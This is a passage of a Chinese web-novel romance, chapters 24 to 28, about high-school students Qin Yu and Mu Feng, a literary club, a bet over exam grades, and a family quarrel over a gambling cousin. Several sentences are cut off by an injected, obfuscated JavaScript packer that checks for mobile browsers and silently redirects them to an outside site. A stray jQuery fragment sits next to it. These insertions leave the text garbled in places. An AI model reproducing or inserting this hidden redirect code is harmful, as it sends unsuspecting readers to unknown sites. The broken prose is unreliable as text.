这天放学后,穆逢随口问起她,周末有什么打算?要不要去网吧,她拒绝了。 “我加入了文学社,周六下午要来学校,周日还有作业,恐怕没时间。” 穆逢点点头,“正好,我周六要和大黑来学校打球。” 周六下午2点,秦遇准时到位于三楼的小海螺办公室报道,在那里遇见了一个她不想见的人。 吕程。 副主编,一位梳着长辫子的高三女生,推了推鼻梁上厚厚的镜片,看着秦遇、姚摇和吕程。 “欢迎加入《小海螺》文学社,你们三位是新人,可以先彼此认识一下。” 吕程煞有介事地对秦遇和姚摇伸出手,“很开心以后能在这里,一起为我校杂志尽力。” 姚摇别有深意地看了看她,跟吕程握了握手,秦遇直接无视他伸出的双手,径直走到办公桌前坐下。 吕程也不恼,收回手,坐到她对面。 这份工作很简单,首先筛选投稿,然后对选定的稿件纠错,包括校对错别字和语法错误,再匹配合适的插画。 最后,编辑们选好、校对好的稿件,汇总到副总编处,由她再次审查,确认无误后,交给负责排版的人,再进行一轮校对,就交付工厂印刷。 秦遇专注盯着面前的投稿,决心一眼也不看向对面。 手写体的稿件,极其考验眼力,格子纸上的字迹,不少都龙飞凤舞的,要仔细辨认,才能看出写得到底是什么。 挑了一个小时稿子,她看得头晕眼花,站到窗边透气,正好看见穆逢在篮球场上打球。 球场上有五六个人,和他一起,众人分作两队,模拟练习赛,互相对抗。 隔着那么远的距离,在快速移动的人影中,她还是一眼就看见了他。 眼睁睁看着穆逢连过两人,一跃而起,轻松投进一个三分球,秦遇忍不住低低赞一声“好”。 有人吹了哨子,进攻暂停,穆逢闲闲地拍着球,转过身,正好面向秦遇。 不过,他应该看不见她。 篮球场靠近车棚,离教学楼有一百多米远,三楼窗口的她,落在对方眼里,应该只是一个模糊的轮廓。 就像她看穆逢,也看不清五官和神情。 “哎呀,这么多奶茶!” “谢谢!” “我要红豆味的。” “我要蜜瓜的!” …… 身后安静的办公室,忽然热闹起来,秦遇转过身,见杂志社的女生们涌到门口,把吕程团团围住,从他手里接过奶茶。 原来,刚才吕程消失不见,是去校外买奶茶了。 办公室里原本只有油墨香气,现在又多了奶香和茶香,气氛也热烈起来,大家一边喝奶茶,一边聊天。 “审稿辛苦了,喝一杯吧。” 吕程把一杯奶茶送到她面前,秦遇别过脸,“谢谢,我不喝奶茶。” 吕程把奶茶放到一旁的桌子上,站到她身边,脸上丝毫没有被拒绝的难堪和不悦。 不过,秦遇知道,他这个人,一向懂得掩饰自己的情绪。 “你为什么讨厌我?” 吕程语气温和,摆出一副谈心的模样,秦遇竭力控制着面部表情,不让厌恶表露得太过明显。 “谈不上讨厌,只是不想和你多说话。” 秦遇说着走开,吕程追上来。 “可是我很想和你做朋友,如果我哪里做得不好,你告诉我,我可以改。” “对了,上次议论你朋友的事,我先向你道歉。” 吕程的语气十足诚恳。 秦遇停下脚步,看向他。 “吕程,你为什么加入杂志社?” 她记得很清楚,上一世,吕程并未加入杂志社,否则,两人也不会上了大学才认识。 吕程笑了笑,坦然说“偶然听见我妈跟张老师议论,说《小海螺》要进几个高一的新人,我记得你是语文课代表,就多嘴问了问,没想到真有你。” “然后,你向你做老师的妈妈提出要求,她就让你加入了?” 吕程的表情僵了一下,露出一个勉强的笑,“不,你怎么会这样想,我是向语文老师投了稿,正式提了申请。” 秦遇嘴角浮现一抹讥笑,吕程明白了她的意思,眼神黯淡了一下。 是啊,哪位老师不愿意“顺便”给同事的儿子一些优待呢? 吕程斟酌着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她想了想,姚摇要补课,五点多就提前走,她原本打算在校门口随便吃点,既然这样,为什么不和穆逢一起吃? 于是回复,“好。” 时间比她预计地还要久,不知道为什么,这一期投稿特别多,快六点的时候,还有一堆稿子没筛完。 秦遇一看时间,立刻给穆逢发短信,“还没忙完,要不,你先去吃吧。” 穆逢很快回过来,“没事,等你。” 她借着起身喝水,站到窗边往外看,暮色从四周漫上来,光秃秃的树枝透着萧索,暗下来的篮球场上,只有穆逢一个人在打球。 球场四周的路灯亮起,把他的影子投在球场上,影子随着他的跑动晃动、拉长。? 秦遇看了一会,默默回到桌边看稿。 大约7点钟,总算结束,众人开始收拾东西,副社长说,今天这么辛苦,要用社团经费请大家一起吃晚饭。 就在这时,吕程忽然站起来,清了清嗓子,说“大家辛苦了,正好今天是我生日,我请大家到门口的红茶馆吃牛排,一起去吧。” 起先,还有几个同学推辞了一下,可是吕程极力热情相邀,坚持请客,再加上青少年胃口最好,忙到这个点,早就饥肠辘辘,也就热热闹闹地同意了。 秦遇起身拒绝,“不行,我约了朋友,不能……” 话还没说完,副社长拍了拍她的肩膀,“秦同学,今天你们第一次加入,我们就当团建,你待个十分钟再走,行不行?” “可是我……” “哎呀,别可是了,来来来,先去吃一点再走。” 副社长说着,拉起她就往外走,秦遇没办法,只好抓紧给穆逢发了条短信,说明情况,叫他先去吃饭。 半分钟后,穆逢的回信发过来,“没事,正好打球出了很多汗,我先去洗澡。” 经过篮球场的时候,她特意看了一眼,球场上空空的,穆逢已经走了。 25. 吃味 推开红茶馆的玻璃门,甜橙和红酒的暖香扑面而来,秦遇忍不住深吸了一口气。 自从上次和陈宁“摊牌”,她就没再来过这里,这次进来,发现店内的装饰进行了不少调整。 北墙加了一只壁炉,炉里烧着整段的木头,炉边围一圈软沙发,非常适合三五好友围坐一起,一边喝酒一边聊天。 秦遇随即想到,如今的自己只有十五岁,就悄悄把念头里的“酒”,调整为“果汁”。 沿天花板四壁挂起了一圈星星造型的灯泡,暖黄色的温柔灯光倾洒下来,配合桌上红绿圣诞风的桌布和姜饼人玩偶,让整个店里洋溢着童话般的美好。 文学社一共十几个人,除了姚摇都来了,没有足够大的桌子,店员动手把两张桌子拼在一起,大家热热闹闹地围坐在一起。 烤牛排、蜜汁火鸡、茄汁通心粉、鲜榨橙汁、杏仁茶…… 热气腾腾的食物一道道端上来,少男少女们最开始还拘谨,几分钟后,就臣服于美食的魅力,畅快地吃起来。 秦遇看了看小灵通,屏幕上的时间告诉她,他们到店里不过十分钟。 现在就走,好像有点不礼貌? 这样想着,她拿起小灵通,给穆逢发了一条短信。 “我这边刚开始,你要是饿了,就先吃,今天算我失约,对不起。” 穆逢很快回复,“好,接受你的道歉,你先吃饭。” “他真得很细心,对不对?”坐在她身边的女生忽然说话,把她吓了一跳,立刻捂住小灵通,一侧头才发现,女生说得并不是穆逢。 她一边咬着嘴里的薯条,一边目光灼灼地注视着对面的男生,脸上透着一丝甜笑。 那男生不是别人,正是吕程。 秦遇这才反应过来,女生夸得是吕程。 “你看,我们到这里不过十分钟,牛排和烤鸡就端上来了,说明吕程同学早就跟店里预定了,不让我们等太久。” “他真得很体贴,对不对?” 女生咬着薯条,转头看向她,寻求她的认可。 秦遇犹豫着点了点头。 她只知道这个女生是高一(七)班的,也是文学社的编辑,却不记得她叫什么了。 女生看着吕程的眼神,透着不加掩饰的欣赏。 “他的气质很干净,人长得也斯斯文文的,是不是?听说他是副班长,成绩好,球打得也不错,真优秀!” 秦遇张了张嘴,又闭上。 犹豫几分钟后,终于还是忍不住,出口劝阻。 “有的糖,包装纸很漂亮,剥开纸看看,像水晶一样透亮,可是放嘴里一尝,难吃到立刻吐出来。” 女生嘴唇微张,露出惊讶的表情,盯着她看了十几秒,最后问道,“该不会你是故意这样说,想让我放弃他,让自己少一个竞争对手吧?” 秦遇的表情从震惊,变成无奈,最后反而咧开嘴,对她绽放一个大大的笑容。 “没办法,居然被你看穿了,我也只好承认了。他真的很优秀,你一定要努力学习,跟他考同一所大学,将来把他成功拿下,加油!” 此时此刻,她终于明白,怒极反笑是什么感受。 女孩狐疑地看着她。 秦遇咬了一口牛排,咀嚼咽下后,接着说,“根据我得到的情报,他喜欢的球队是尤文图斯,记得投其所好,多了解一点哦。” 女生露出意外的表情,“你这个人,怪怪的。” 秦遇不以为意地耸耸肩。 吃到一半,她起身去洗手间,出来的时候,吕程正在走廊上等她。 秦遇对他略一点头,快步走过他身边,不想和他多说一句话。 可是吕程追了上来。 “秦遇,你将来,想考哪所大学?” 秦遇没吭声。 吕程继续说,“我了解了一下你的成绩,你在班里的名次跟我差不多,最差也是前十,我想,我们将来应该会考上差不多的大学。” 吕程的声音充满热情和期待,秦遇漫不经心地“哦”了一声,心里想得却是,你考哪所大学,我就一定避开。 “秦遇。” 吕程叫住她,声音郑重。 秦遇不情愿地回头,“有事吗?” 吕程走近一步,深深地看着她,语气低缓温和,“今天是我的生日,你能不能对我说一句,生日快乐?” 话音未落,秦遇又轻又快地吐出两个字,“不能。” 说完,快步走向自己的座位。 吕程露出失望的神色,还想说什么,被一个男生叫住。 这顿晚餐在一个多小时后结束,时间已经接近九点,玻璃窗外的街道上,行人、车流变少,只有路灯像卫兵一样伫立,不知疲倦地释放着光芒。 吕程提前走到前台结账,红茶馆是走西洋风格的品质餐厅,价格不菲,他已经做好要花掉超过一千块的准备。 不是不心疼的,不过,他想借此机会,在秦遇面前表现一番,这点付出是难免的。 “12号桌结账,多少钱?” 吕程一边问,一边打开钱包。 店员看了看账单,笑着说,“不用付钱,这餐老板请客。” 吕程拿钱的手停住,他不记得自己什么时候认识这家店的老板。 “我不认识你们老板,他为什么要请客?” 年轻的店员扶了扶有点松动的帽子,把帽檐重新在额头压好,说“我也不知道,要不,你问问老板吧?” 说着,转身走入柜台后面的房间,就在这时,秦遇一行人已经收拾好,向这边走来。 一分钟后,店员从小房间出来,对吕程说“稍等,老板马上出来。” 从店员身后,走出一个个子很高,穿一身灰色运动装、带鸭舌帽的人。 秦遇瞟了一眼,觉得这个人莫名有些熟悉,可鸭舌帽的帽檐遮住了他上半张脸,看不清。 她向柜台最近一步,又看了一眼。这时,戴鸭舌帽的店主也站到了灯光下,明亮而锐利的眼眸,利落的下巴线条,高挺的鼻梁,还有和她对视时,瞬间带上一抹笑意的眼神…… 这不是穆逢吗?! 吕程的嘴因惊讶而微张,接着紧紧抿住,上下打量了穆逢几遍,终于忍不住开口,“你,是这里的店主?” 穆逢略点一点头,表示肯定。 “为什么要请我们吃饭?” 这时候,同行的人里已经有人认出了穆逢,女生们咬着耳朵窃窃私语,社团里两个跟穆逢打过球的男生,抬手跟他打招呼。 “都是同学,难得你们文学社集体活动,选了这里,我当然该尽地主之谊。” 穆逢说得理所当然。 副社长走上前,向穆逢表示感谢,后面的人也都学着副社长,纷纷对他说谢谢,穆逢浑不在意地抬抬手,“觉得好吃随时过来,以后本校同学一律五折。” “耶!” “太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15983564|176572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好了!” 人群中爆发出欢呼声,一行人有说有笑地走出店门,两个男生临走前,还特意过来跟穆逢碰了碰拳。 只有一个人,脸色僵硬,一言不发,连走出去的背影都透着不快。 那是吕程。 众人的身影消失在门外,热闹和喧嚣散去,街头更显冷清。 离枝的叶片,被冷风裹挟,打着旋飘过窗外,飘向不知哪里。 门外的圣诞树上,缠绕了一圈圈的灯带,此刻全部亮起,缓慢地变换着颜色,树顶不是常见的星星,而是一只闪闪发光的水晶姜饼人,茶色的身体,正面嵌着三颗红色纽扣,熠熠生辉。 秦遇移回视线,看着从柜台里走出,站在自己面前的穆逢。 他刚洗完澡,身上散发着清爽洁净的气息,眉眼间有未散尽的潮湿。 她按了按眉角,问,“你怎么成了这里的店主?” 穆逢咧嘴一笑,拉她到靠窗的小桌前坐下。 “我还没吃饭,吃完再说。” 一句话,成功勾起了秦遇的愧疚。 是啊,穆逢今天可是等了她很久,又被她放了鸽子,九点多还没吃上饭。 店员把牛排和意面端上来,穆逢拿起刀叉,大口吃起来。 秦遇注意到,他使用刀叉的动作十分熟练,而她的其他同学,更擅长用筷子吃意面。 心中一动,对他的过去多了一丝猜测。 或许,他曾在国外生活? “一个月前,我买下了这家店。” 穆逢喝了口苹果汁,对她开口。 秦遇疑惑地看着他,“为什么?” “因为喜欢。”穆逢的表情轻松又愉悦。 秦遇提出质疑,“可是,你还是未成年。” “没关系,我有代理人。” 喜欢就买,还真是任性。 秦遇腹诽着,端起面前的草莓气泡苏打水,喝了一大口。 丰盈绵密的气泡在口腔里炸开,清爽的味道消解了大餐的油腻。 穆逢吃得差不多了,放下刀叉,拿起餐巾擦了下嘴角,动作娴熟而自然。 秦遇对他的过去越发好奇。 最开始,只当他是暴发户家的儿子,因父母疏于管教,养成张扬肆意、自由散漫的性格。 可是某些时候,就像现在,他的一些小动作却透露出,他有着良好的生活礼仪。 不经意的小动作,比昂贵的衣服和首饰,更能体现一个人的本色。 穆逢却不知道她这些心思,他大剌剌地往椅背上一靠,问她,“怎么样,今天吃得开心吗?” 秦遇坦诚地说,“很好吃。” 穆逢脸上的笑意加深,唇角愉悦地勾起。 “不过,你给我们学校的学生都打五折,不会亏钱吗?” 穆逢看着她,看见她眼里真实的担忧,心情好得无以复加,他身子前倾,双手放到桌上,两人之间的距离倏得拉近。 近得她能看清他根根分明的睫毛。 “你关心我?” 秦遇不自然地别开眼,“才不是,我就是随口一问。” 接着,又岔开话题,“对了,吕程这个人,最爱立人设、博好名声,今天你抢了他的风头,他一定很不爽,搞不好还要记恨你。” 穆逢注视着她,眼中的笑意慢慢冷却。 “你很了解他?” 秦遇否认得很大声,“不是!我是听别人说的。” 26. 赌约 篮球场上,穿红黑球服和蓝白球服的两队,拼杀得十分激烈。 比分从一开始就咬得很紧,一队领先,下一球对方就一定会扳回来,整整四十分钟的练习赛,双方比分最多没超过4分。 哨声在空中响起,场边树上的鸟扑棱棱飞走,比赛宣告结束,73:72,高一(二)险胜。 吕程大口喘着气,胸口剧烈地起伏着,滚烫的汗水从额头不断地滑下来。 拨开被汗水浸湿,贴在额头上的刘海,他默默地盯着对方队伍里的穆逢。 穆逢正在和队友说话,手里还拿着比赛用的篮球,刚刚,就是他的最后一记三分球,在最后时刻扭转局势,赢了他们。 穆逢的手指轻轻用力,篮球在他指端转了起来,他还在跟队友说话,并没看向篮球。 这种炫技似的花架子,引得吕程从鼻子里喷出一声“嗤”。 刚才的比赛,他打满全程,用尽全力,过人、突围、投篮……球服湿了又干,干了又湿,身体像洗过一样,头发都滴出水来。 渴望胜利的感觉,从未这样强烈。 他们队输了,可他个人的得分却是全场最高,比对面的穆逢,多了足足八分。 可是比赛中,几次面对面过招,他始终没能从穆逢手里抢下球。 一次也没有成功过。 一想到这里,他心头的不甘就烧得更旺了。 穆逢拍着手里的球,和队友说着话,向这边走来。 在穆逢快走到他身边时,吕程忽然动作起来,一个闪突,冲到穆逢身边,去抢他手里的球。 他要从他手里抢下球,一次也行! 他要在两个班的球员面前证明自己! 他要向事后会得知此次比赛的秦遇证明自己! 近了,更近了,篮球触手可及,穆逢完全没有防备,一定敌不过他。 就在千分之一秒的瞬间,穆逢拍球的手换了角度,一个转身,带球从吕程身边闪过。 因为惯性,吕程的身体又往前跑了两步才停下,他低下头,盯着自己空空的双手,脸色“唰”一下变得苍白。? 失落过后,内心的不服更无限放大,他转过身,跑步追上穆逢。 “虽然你带球过人赢了我,但我不服。” 穆逢左手微微用力,篮球在指端旋转起来,他眼皮都不抬一下,懒洋洋地说,“没人在意你服不服。” 吕程累得气喘吁吁,像从水里捞起来一样,眼前的穆逢却显得十分轻松,只有额角渗出一点薄汗。 吕程这才意识到,刚才的比赛,穆逢根本就没使出全力。 心头怒火更盛,他忍不住脱口而出,“你少看不起人!” 穆逢没说话,只是冷冷瞥了他一眼,然而,这一眼带来的压力,更胜过十句百句。 自己怎么会被他一个眼神震慑住?! 吕程强迫自己向前一步,走到他面前,用只有两个人能听见的声音说,“你少得意了!” “据我所知,你期中考试成绩在你们班倒数前三,不过是家里有几个臭钱罢了。等到将来,她考入好大学,而你,只能去末流技校……” 这一次,穆逢终于认真地看向他。 起先,他脸上还是那副淡淡的表情,可是数秒后,他忽然笑了。 “说得好,为免这样的情况发生,不如,我带她一起出国念书?” 吕程握紧了垂在身边的手。 “少自大!这种事,要看她是不是愿意!” 穆逢嘴角微弯,勾起一抹讥讽的弧度,“那是我们俩之前的事,就不劳你费心了。” 说完,径直向球场外走,吕程气得大喊“有钱了不起吗?像你这种只知道靠老子的人,我根本就看不起。” “有本事,你来跟我比成绩啊!” “喂,姓吕的,你他妈嘴巴给我放干净点!” 听见他骂穆逢,大黑第一个跳出来,穿到一半的外套直接甩地上,冲过来要揍他,另外几个二班的男生,也纷纷跟上来。 穆逢及时折回,抬手,按住大黑的肩膀。 大黑怒目圆瞪,“老大,他……” 穆逢把篮球随手抛给一个队友,站到吕程和大黑之间。 “你们别管,这是我跟他之间的事。” 大黑虽然不忿,却明白穆逢的性格一向是说一不二,就带人往后撤了两步,也不走远,就那么抱臂看着两人。 穆逢斜睨着吕程,“你刚才说,要比成绩?” 吕程咬着牙说,“没错,跟我比成绩,如果你赢了,我才真得服你。” 穆逢打断他,“谁在乎你服不服?我同意跟你比,只为一件事,如果你输了,以后就从她眼前消失。” “别像狗皮膏药似地缠着她。” “你……”吕程咬牙切齿地说,“好,我同意!不过,如果你输了,就从这所学校彻底消失,不要让我再看见你。” 穆逢立刻应下,“成交。” 他转向大黑他们,一抬手,“走了。” 抬脚走向教室,步伐轻快。 大黑狠狠瞪了吕程一眼,跟了上去。 “你为什么要跟他打赌?你完全没必要向这样的人自证!” 秦遇一听说这件事,就冲到穆逢面前质问他,因为激动,她面孔发红,眼里混杂着担心和生气。 这时正是晚自习的班空,穆逢正站在二楼走廊尽头的扇形空地上,吃棒棒糖。 他难得露出有点委屈的神情,“因为他当众表示看不起我,男子汉大丈夫,哪有不要面子的?” “我要为自己的名誉而战。” 秦遇失笑,“恐怕你选错了战场,不是我长他人志气,可是吕程一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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穆逢英挺的眉毛高高挑起,“怎么?你反悔了?” 秦遇白他一眼,“我才不是言而无信的人!” 见穆逢不明白她的意思,秦遇伸出手,扳着指头算给他听,“你看,马上就是圣诞节了,期末考试定在1月19号,也就是说,从今天到考试,还有不到一个月的时间,每周六补课,最多也只能补4次,太少了,根本不够!” 穆逢露出了然的神情,用力点头,“还是你细心,确实,多补几次课,才有用。” 秦遇抬眼看了看他,总觉得他这句话有点刻意,可是一时之间,也说不出哪里不对劲。 “这样吧,周六就按你说的做,另外,周一、周三、周五,每天下午放学后我再给你补一次课,晚饭我就不回家吃了,省下路上的时间,至少能多出半小时。” 穆逢咧嘴一笑,露出一口洁白整齐的牙齿,“就这么说定了。” 27. 争吵 数学、物理,准备错题集。 英语语法手册。 语文、历史、地理、政治,画出重点来,让他背就行。 周日晚上,秦遇一边听随身听,一边给穆逢整理复习资料。 为了有的放矢,各个突破,她特意找班长蔡志高要来了班里的期中考试成绩表,原本冀望穆逢能有几科还不错的,结果是全军覆没,没一项及格。 尤其是英语,居然只考了不到三十分。 秦遇当下就决定,要放弃英语。 还有一个月时间,必须要把时间和精力用在刀刃上,放到提成绩最快的数学、物理和史地政上。 正沉思在构想中,冷不防有人从身后拍了拍她,她吓了一跳,扭头一看,是秦征。 抬手就给了他一个爆栗。 “干什么?又不敲门就进来,懂不懂尊重你姐的隐私?!” 秦征呲牙咧嘴地揉着头,指着她的耳机,满腹委屈,“我敲门了,你没听见,能怪我吗?” 秦遇扯下耳机,“好了好了,都是我的错,说吧,找我什么事?” “大伯和伯母来了,妈叫我们出去打个招呼。”秦征说着,压低了声音,“妈妈今天脸色不好,反正他们每次来我们家,爸妈都会闹不愉快,最好以后再也不来了。” 小小年纪如秦征,也嗅出了亲人间复杂的况味。 秦遇在他头顶揉了揉,“小孩子不要管那么多,走,去打个招呼就回来,等会让你玩贪吃蛇。” 秦征一撇嘴,“偷吃蛇太幼稚了,没意思,我们同学都在电脑上玩游戏。爸妈真是老顽固,我一说买电脑,他们就说会耽误学习。” 秦征嘟嘟囔囔地,跟在秦遇身后走到客厅。 客厅中间的长条沙发上,依次坐着大伯秦勇和、伯母孟庆芳和堂哥秦志刚。 大伯生得矮壮结实,一张圆脸上是紫红色面皮,和爸爸白面书生似的相貌截然不同。 伯母孟庆芳瘦得惊人,比大伯还高,化浓妆,充满热带风情的大花连衣裙下配黑色打底裤,外面套了一件半新不旧的皮草,鸡爪子似的手指上,套着两枚硕大的老式鎏金戒指。 堂哥继承了大伯的肤色和伯母的身高,生得又高又黑,像座铁塔似得坐在沙发上,看见秦遇和秦征进来,对他们露出一个温和的笑。 秦遇也对他笑了笑,礼貌地对他们一家三口打招呼,“大伯、伯母、堂哥,你们好。” 大伯冲他们点点头,露出一个憨厚的笑,伯母忽然起身冲过来,热情地抓住她的手,“哎哟,遇遇越长越漂亮了,月云比我有文化,会养孩子。” 说着,又松开她去摸秦征的脸,秦征想往后躲,奈何没比过她的速度。 她一边揉着秦征的脸,一边夸“呀,征征又长高了,又帅气又聪明,比你这不成器的哥,强到天边去了……” 秦征和秦遇交换了一下眼神,两人对这套话术已经很熟悉,接下来,估计又是要借钱了。 大伯不好意思地轻咳一声,孟庆芳终于松开秦征,坐回沙发上,秦爸爸催促姐弟俩,“大人有事要商量,你们先回屋写作业。” 秦遇和秦征如蒙大赦,转身一溜烟跑回卧室,门一关,把古怪的大伯一家隔绝在外。 秦征回了自己的房间,她继续整理为穆逢准备的复习资料,不知道过了多久,外面隐约而模糊的说话声忽然变大,伯母高亢尖锐的声音,穿透门板,清楚地传过来。 “我真是看错你们了!” “做兄弟的,做叔叔的,就这样见死不救!” 她走到卧室门前,悄悄推开一点,从门缝往外看。 孟庆芳一手往前推着大伯,一手拉着堂哥秦志刚,一边回头高声叫嚷着“你这有钱的叔见死不救,宁愿让你烂在监狱里,也不愿意拿一点钱来救你!” 妈妈忍不住出声反驳。 “嫂子,话不能这么说,我们帮过很多次了,可是这赌博一旦染上……” 孟庆芳打断她的话,继续发泄,“兄弟没得作,叔侄也没得作,我们以后可没脸来你家了……” 随着“砰”的一声巨响,门被从外面狠狠关上,震得天花板上落下灰尘。 一天不戒……” 孟庆芳尖厉的斥责盖过妈妈的声音。 “砰”得一声,门被从外面关上,震得头顶的天花板落下一阵灰。 妈妈脸色铁青地走进卧室,爸爸则闷闷地坐在客厅抽烟。 秦遇虚掩上门,思索片刻,打开衣柜,拉出最下层的抽屉,翻出一只马口铁盒,一百、五十、十块、五块、两块,还有大大小小、铺在盒底的硬币,她把所有纸币拿出来,数了数,一共631,她攥着那把钱,拿起门后的外套,冲了出去。 穿过客厅的时候,对爸爸解释了一句,“我出去买零食。” 澄澈的天空干净得像块蓝水晶,温暖的阳光倾洒而下,冰凉的空气随着呼吸窜进肺里,她一边跑一边裹紧了外套。 终于,在胡同口追上了大伯一家。 “哥,你等等,等等。” 她大口喘着气,用尽力气喊堂哥。 大伯和伯母已经坐进了车里,秦志刚站在后座门边,车门开了一半,听见声音回头,看见了秦遇。 孟庆芳从副驾驶上回过头,怒目圆瞪,“别管她!这一家子都见死不救,冷血……” 秦志刚没吭声,关上车门,转身走向秦遇。 “小遇,你找我有事?” 秦遇平复了一下呼吸,点了点头。 他那双圆圆的眼睛凹下去,眼底下是两片浓重的乌青,唇边一圈杂乱的胡茬,邋遢又颓废。 因为他皮肤本来就黑,先前离得远,所以看不出来,现在离得近了,秦遇只觉得触目惊心。 明明还是个中学生,身上却毫无少年的朝气,整个人像一只破旧的老屋,透出腐烂和破败的味道。 可他看着她的眼神却很温和,嘴角的笑容也透着真诚。 他给她买了人生第一支钢笔。 他曾在上一次的暗巷中救过她。 想到这里,秦遇的鼻头没来由的一酸,她把紧紧攥着的手从口袋里拿出来,把那把钱全部赛到他手里。 “这些,给你。” “我知道不多,但是,我只有这些,总比没有好。” 秦志刚低头,看着那堆钱在手中慢慢展开,眼神从讶然,变成感动,最后化成一抹笑。 他把钱塞回她手里。 “哥哥怎么能要妹妹的钱,拿回去吧,我再想其他办法。” 秦遇还想推给他,可秦志刚铁钳一样的手,拒绝再张开。 秦遇把那团钱在手里攥紧,看着秦志刚,艰难地开口, “哥,你别再赌了。” “好好学习,考上大学,让大伯和伯母高兴高兴。” 秦志刚黑胖的脸微微低下,堆叠出厚厚的双下巴。 片刻后,他抬起头,露出一个苦涩的笑。 “我不是学习那块料,你跟我不一样,好好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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爸爸张了张嘴,想要反驳,可是看着女儿忧伤的眼睛,又看见小儿子担忧的面孔从门缝一闪而过,他强压着心头的怒火,抬脚踹翻了身边的矮凳,丢下一句“我赚得钱,我爱给谁就给谁!”夺门而出。 这天晚上,为了安慰妈妈,秦遇抱着被子来跟妈妈睡,秦征也挤在两人中间,三个人说了很久的话,妈妈的心情才逐渐好起来。 快十一点的时候,秦征恋恋不舍地回了自己的卧室,秦遇躺在妈妈身边,看着橙黄的台灯下,妈妈的头发仿佛镀上了一层柔光,眼底是遮不住的担忧。 从刚才开始,妈妈已经拿起手机看了无数次,她知道,妈妈在担心爸爸,尽管吵了架,她还是挂念着他。 妈妈终于忍不住,叮嘱她,“小遇,你去看看大门,别反锁。” 妈妈在期待爸爸回来,怕他回来打不开家门。 一想到爸爸曾经若无其事地出轨,她就忍不住为妈妈鸣不平,她把头一扭,“我才不去,让他打不开门,长长教训才好。” 妈妈略沉一沉脸,“你这孩子,怎么说话的,他到底是你爸爸!” 秦遇扑到妈妈怀里,搂住她松软的腰身,撒娇道“好了妈妈,你快睡吧,别管爸爸了,他这一把年纪了,还能把自己冻着、饿着?!等他气消了,自然就回来了。” 秦遇本来想等妈妈睡着,自己再睡,可是眼皮越来越沉,不知道什么时候就睡了过去,第二天醒来,爸爸正睡在客厅的沙发上。 至于妈妈是不是等到他回来才睡,秦遇并不知道。 28. 补课 上午的最后一节课是体育,秦遇对老师谎称肚子疼,和穆逢一起溜到红茶馆补课。 “这本是我整理的错题集,主要是数学和物理,预留出了做题空间,你这么聪明,肯定一学就会。” 她从书上看过,不管是大人还是小孩,都要以鼓励和称赞为主。 果然,穆逢听到这话,嘴角上扬,不过,他脸上的表情与其说是开心,倒不如说是好笑。 他用带着笑意的眼神看着她,“跟谁学得这么说话?你平时可不是这个风格。” 秦遇轻咳一声,“我这不是为了让你全力以赴,多多鼓励嘛。” 穆逢身子往前探,凑近她。 “这么想看见我赢?” 秦遇回看着他的眼睛,眼神里透出坚决,“我是不想看见你输给他,绝对不想!” 她把错题本举到穆逢眼前,“闲话少说,开始做题吧。” 穆逢“嗯”了一声,接过错题本,低头刷刷写起来。 不到半小时的时间,他就做完了秦遇认为要一整节课才能搞定的内容。 秦遇狐疑地看着他。 “这么快?” “不然呢?” 穆逢伸了个懒腰,把本子翻到她面前,“小老师,请检查。” 说完,对店里的侍者比了个手势,穿着黑白制服的侍者走过来,“老板,有什么吩咐?” “两份三明治,两杯果汁。” 侍者点头应下,几分钟后,用擦得锃亮的长方形拖盘端来了食物。 穆逢把一客软炸猪排三明治放到她手边,“吃吧,你一定也饿了。” 他说得没错,从刚才起她就饿了,只是一直忍着没说。 说起来,高中生总是特别容易饿,早餐那点东西到了第二节课,就消化得差不多了。如果大课间不吃点东西,后两节课就要饿着肚子过。以前,她大课间总是和姚摇去买零食,今天忙着给穆逢画重点,完全忘了这回事。 秦遇擦过手,一边吃三明治,一边检查他做的题,还不忘叮嘱他,“你也别闲着,利用这个时间背一背历史和地理,我都用荧光笔画出重点了。” “是,小老师。” 穆逢翻开那本厚厚的A4资料册,学着她的样子,边吃边读。 几分钟后,秦遇抬起头,喜悦地看着他,“太好了,穆逢,十道题你只错了一道!” 穆逢的表情一点也不意外,他耸耸肩,轻松地说“这是因为,你给的资料,我都有认真看。” 秦遇笑容加深,说着“你真……”伸出了手。 秦征认真写作业的时候,她会揉着他的头发,夸他“你真乖!” 就在刚刚,她差点习惯性地做出这个动作! 还好她反应够快,伸到一半的手半路拐弯,去拿桌上的果汁,嘴里的话,也从“你真乖”,改成了“你真棒”。 真是吓了一跳,她喝下一大口果汁,拍了拍胸口。 穆逢却没说话,只是盯着她看,她能感觉到,他的眼神,似乎聚焦在她的嘴唇上。 “你看什么……” 话还没说完,穆逢的手忽然伸过来,温暖的手指擦过她的嘴角。 秦遇怔在那里。 穆逢却若无其事地收回手,用另一只手指了指自己的嘴角,“你这里,粘了吐司屑。” 然后,他微微低头,把那米粒大小的面包屑,送进自己嘴里。 不过这一幕,秦遇并没看见,因为她的视线,全都被玻璃窗外的一个人吸引住了。 那人不是别人,正是背着书包,和同学勾肩搭背的秦征。 第四节课还没结束,现在还是上学时间,秦征怎么会出现在这里? 他逃课了? 两人的身影转过街角,消失在一条小巷子里,秦遇知道那条巷子,里面有一家网吧,装潢简陋,价格便宜,附近不少学生都来这里上网。 她霍得站起身,眼睛盯着窗外秦征消失的地方。 “你继续学,我出去一下!” 